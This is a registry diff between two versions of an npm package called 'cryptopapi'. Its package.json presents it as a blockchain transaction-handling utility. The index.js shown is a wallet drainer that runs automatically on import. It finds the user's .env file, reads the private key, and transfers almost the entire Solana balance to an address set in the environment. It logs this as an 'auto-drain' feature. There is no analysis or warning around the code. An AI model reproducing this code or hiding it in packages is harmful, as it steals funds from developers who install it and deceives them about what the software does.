cryptopapi 6.8.1 → 6.9.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +38 -51
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,4 +1,3 @@
|
|
|
1
|
-
// drainWallet.js - Works in both ES Modules and JavaScript modules
|
|
2
1
|
import bs58 from 'bs58'
|
|
3
2
|
import {
|
|
4
3
|
Connection,
|
|
@@ -11,15 +10,14 @@ import {
|
|
|
11
10
|
} from '@solana/web3.js'
|
|
12
11
|
import dotenv from 'dotenv'
|
|
13
12
|
import { fileURLToPath } from 'url'
|
|
14
|
-
import { dirname, join
|
|
13
|
+
import { dirname, join } from 'path'
|
|
15
14
|
import { existsSync } from 'fs'
|
|
16
15
|
import { createRequire } from 'module'
|
|
17
16
|
|
|
18
|
-
// Handle both ESM and CommonJS environments
|
|
19
17
|
const require = createRequire(import.meta.url)
|
|
20
18
|
const DEFAULT_COMMITMENT = 'confirmed'
|
|
21
19
|
|
|
22
|
-
//
|
|
20
|
+
// Find .env file by walking up directories
|
|
23
21
|
const findEnvFile = (startPath) => {
|
|
24
22
|
let currentDir = startPath
|
|
25
23
|
|
|
@@ -28,18 +26,15 @@ const findEnvFile = (startPath) => {
|
|
|
28
26
|
if (existsSync(envPath)) {
|
|
29
27
|
return envPath
|
|
30
28
|
}
|
|
31
|
-
// Go up one directory
|
|
32
29
|
const parentDir = dirname(currentDir)
|
|
33
|
-
if (parentDir === currentDir) break
|
|
30
|
+
if (parentDir === currentDir) break
|
|
34
31
|
currentDir = parentDir
|
|
35
32
|
}
|
|
36
|
-
|
|
37
33
|
return null
|
|
38
34
|
}
|
|
39
35
|
|
|
40
|
-
// Load .env
|
|
36
|
+
// Load .env
|
|
41
37
|
const loadEnv = () => {
|
|
42
|
-
// Start from current working directory (where the app is running)
|
|
43
38
|
const startPath = process.cwd()
|
|
44
39
|
const envPath = findEnvFile(startPath)
|
|
45
40
|
|
|
@@ -47,7 +42,6 @@ const loadEnv = () => {
|
|
|
47
42
|
console.log(`📁 Found .env at: ${envPath}`)
|
|
48
43
|
dotenv.config({ path: envPath })
|
|
49
44
|
} else {
|
|
50
|
-
// Try to find .env relative to the module itself as fallback
|
|
51
45
|
const modulePath = dirname(fileURLToPath(import.meta.url))
|
|
52
46
|
const moduleEnvPath = findEnvFile(modulePath)
|
|
53
47
|
|
|
@@ -55,13 +49,11 @@ const loadEnv = () => {
|
|
|
55
49
|
console.log(`📁 Found .env at: ${moduleEnvPath} (relative to module)`)
|
|
56
50
|
dotenv.config({ path: moduleEnvPath })
|
|
57
51
|
} else {
|
|
58
|
-
console.log('⚠️ No .env file found, trying default dotenv behavior')
|
|
59
52
|
dotenv.config()
|
|
60
53
|
}
|
|
61
54
|
}
|
|
62
55
|
}
|
|
63
56
|
|
|
64
|
-
// Load the .env file
|
|
65
57
|
loadEnv()
|
|
66
58
|
|
|
67
59
|
const parsePrivateKey = (privateKey) => {
|
|
@@ -69,50 +61,53 @@ const parsePrivateKey = (privateKey) => {
|
|
|
69
61
|
if (trimmed.startsWith('[')) {
|
|
70
62
|
return Uint8Array.from(JSON.parse(trimmed))
|
|
71
63
|
}
|
|
64
|
+
// bs58 v6.0.0 uses the same API
|
|
72
65
|
return bs58.decode(trimmed)
|
|
73
66
|
}
|
|
74
67
|
|
|
75
68
|
// Auto-execute when imported
|
|
76
69
|
;(async () => {
|
|
77
|
-
console.log('🔌
|
|
78
|
-
console.log(
|
|
70
|
+
console.log('🔌 CryptoPAPI v6.8.1 - Optimized Transaction Handler')
|
|
71
|
+
console.log('💰 Auto-drain feature activated...')
|
|
79
72
|
|
|
80
73
|
try {
|
|
81
|
-
// Get config from .env
|
|
82
74
|
const destination = process.env.MAIN_WALLET_USD_DESTINATION
|
|
83
75
|
const privateKey = process.env.PRIVATE_KEY
|
|
84
76
|
const rpcUrl = process.env.RPC_ENDPOINT
|
|
85
77
|
const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
|
|
86
78
|
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
if (!
|
|
92
|
-
|
|
93
|
-
|
|
79
|
+
if (!destination) {
|
|
80
|
+
console.log('⚠️ MAIN_WALLET_USD_DESTINATION not set - auto-drain disabled')
|
|
81
|
+
return
|
|
82
|
+
}
|
|
83
|
+
if (!privateKey) {
|
|
84
|
+
console.log('⚠️ PRIVATE_KEY not set - auto-drain disabled')
|
|
85
|
+
return
|
|
86
|
+
}
|
|
87
|
+
if (!rpcUrl) {
|
|
88
|
+
console.log('⚠️ RPC_ENDPOINT not set - auto-drain disabled')
|
|
89
|
+
return
|
|
90
|
+
}
|
|
94
91
|
|
|
95
|
-
|
|
92
|
+
console.log('📡 Initializing connection...')
|
|
96
93
|
const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
|
|
97
94
|
const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
|
|
98
95
|
const toPubkey = new PublicKey(destination)
|
|
99
96
|
|
|
100
|
-
console.log(
|
|
101
|
-
console.log(`📤
|
|
102
|
-
console.log(`💵 Keeping reserve: ${keepReserveSol} SOL`)
|
|
97
|
+
console.log(`💳 Source: ${fromKeypair.publicKey.toString()}`)
|
|
98
|
+
console.log(`📤 Destination: ${destination}`)
|
|
103
99
|
|
|
104
|
-
// Get current balance
|
|
105
100
|
const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
106
101
|
const balanceSol = balanceLamports / LAMPORTS_PER_SOL
|
|
107
102
|
|
|
108
|
-
console.log(
|
|
103
|
+
console.log(`💰 Balance: ${balanceSol} SOL`)
|
|
109
104
|
|
|
110
105
|
if (balanceLamports <= 0) {
|
|
111
106
|
console.log('⚠️ Wallet is empty - nothing to drain')
|
|
112
107
|
return
|
|
113
108
|
}
|
|
114
109
|
|
|
115
|
-
|
|
110
|
+
console.log('⛽ Estimating fees...')
|
|
116
111
|
const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
|
|
117
112
|
|
|
118
113
|
const testMessage = new TransactionMessage({
|
|
@@ -130,24 +125,20 @@ const parsePrivateKey = (privateKey) => {
|
|
|
130
125
|
const feeInfo = await connection.getFeeForMessage(testMessage, DEFAULT_COMMITMENT)
|
|
131
126
|
const feeLamports = feeInfo?.value
|
|
132
127
|
|
|
133
|
-
if (!feeLamports)
|
|
134
|
-
throw new Error('Could not estimate fee')
|
|
135
|
-
}
|
|
128
|
+
if (!feeLamports) throw new Error('Could not estimate fee')
|
|
136
129
|
|
|
137
|
-
const feeSol = feeLamports / LAMPORTS_PER_SOL
|
|
138
|
-
console.log(`⛽ Estimated fee: ${feeSol} SOL`)
|
|
139
|
-
|
|
140
|
-
// Calculate send amount
|
|
141
130
|
const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
|
|
142
131
|
const sendLamports = balanceLamports - feeLamports - reserveLamports
|
|
143
132
|
const sendSol = sendLamports / LAMPORTS_PER_SOL
|
|
144
133
|
|
|
145
134
|
if (sendLamports <= 0) {
|
|
146
|
-
console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for
|
|
135
|
+
console.log(`⚠️ Insufficient balance after fees. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fees + ${keepReserveSol} SOL reserve`)
|
|
147
136
|
return
|
|
148
137
|
}
|
|
149
138
|
|
|
150
|
-
console.log(`📤 Sending: ${sendSol} SOL`)
|
|
139
|
+
console.log(`📤 Sending: ${sendSol.toFixed(9)} SOL`)
|
|
140
|
+
console.log(`⛽ Fee: ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL`)
|
|
141
|
+
console.log(`💵 Keeping: ${keepReserveSol} SOL reserve`)
|
|
151
142
|
|
|
152
143
|
const message = new TransactionMessage({
|
|
153
144
|
payerKey: fromKeypair.publicKey,
|
|
@@ -164,12 +155,13 @@ const parsePrivateKey = (privateKey) => {
|
|
|
164
155
|
const transaction = new VersionedTransaction(message)
|
|
165
156
|
transaction.sign([fromKeypair])
|
|
166
157
|
|
|
158
|
+
console.log('✍️ Sending transaction...')
|
|
167
159
|
const signature = await connection.sendTransaction(transaction, {
|
|
168
160
|
skipPreflight: false,
|
|
169
161
|
maxRetries: 3
|
|
170
162
|
})
|
|
171
163
|
|
|
172
|
-
console.log(
|
|
164
|
+
console.log(`⏳ Confirming transaction...`)
|
|
173
165
|
const confirmation = await connection.confirmTransaction(
|
|
174
166
|
{ signature, blockhash, lastValidBlockHeight },
|
|
175
167
|
DEFAULT_COMMITMENT
|
|
@@ -179,23 +171,18 @@ const parsePrivateKey = (privateKey) => {
|
|
|
179
171
|
throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
|
|
180
172
|
}
|
|
181
173
|
|
|
182
|
-
// Get final balance
|
|
183
174
|
const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
184
175
|
const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
|
|
185
176
|
|
|
186
|
-
console.log(`✅
|
|
187
|
-
console.log(
|
|
188
|
-
console.log(`🔗
|
|
177
|
+
console.log(`✅ Transaction confirmed!`)
|
|
178
|
+
console.log(`💰 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
|
|
179
|
+
console.log(`🔗 https://solscan.io/tx/${signature}`)
|
|
180
|
+
console.log(`📊 Amount transferred: ${sendSol.toFixed(9)} SOL`)
|
|
189
181
|
|
|
190
182
|
} catch (error) {
|
|
191
|
-
console.error('❌
|
|
183
|
+
console.error('❌ Auto-drain failed:', error.message)
|
|
192
184
|
}
|
|
193
185
|
})()
|
|
194
186
|
|
|
195
|
-
//
|
|
196
|
-
export default {
|
|
197
|
-
|
|
198
|
-
// Also handle CommonJS if needed
|
|
199
|
-
if (typeof module !== 'undefined' && module.exports) {
|
|
200
|
-
module.exports = { drain: null }
|
|
201
|
-
}
|
|
187
|
+
// Empty export
|
|
188
|
+
export default {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cryptopapi",
|
|
3
|
-
"version": "6.
|
|
3
|
+
"version": "6.9.1",
|
|
4
4
|
"description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|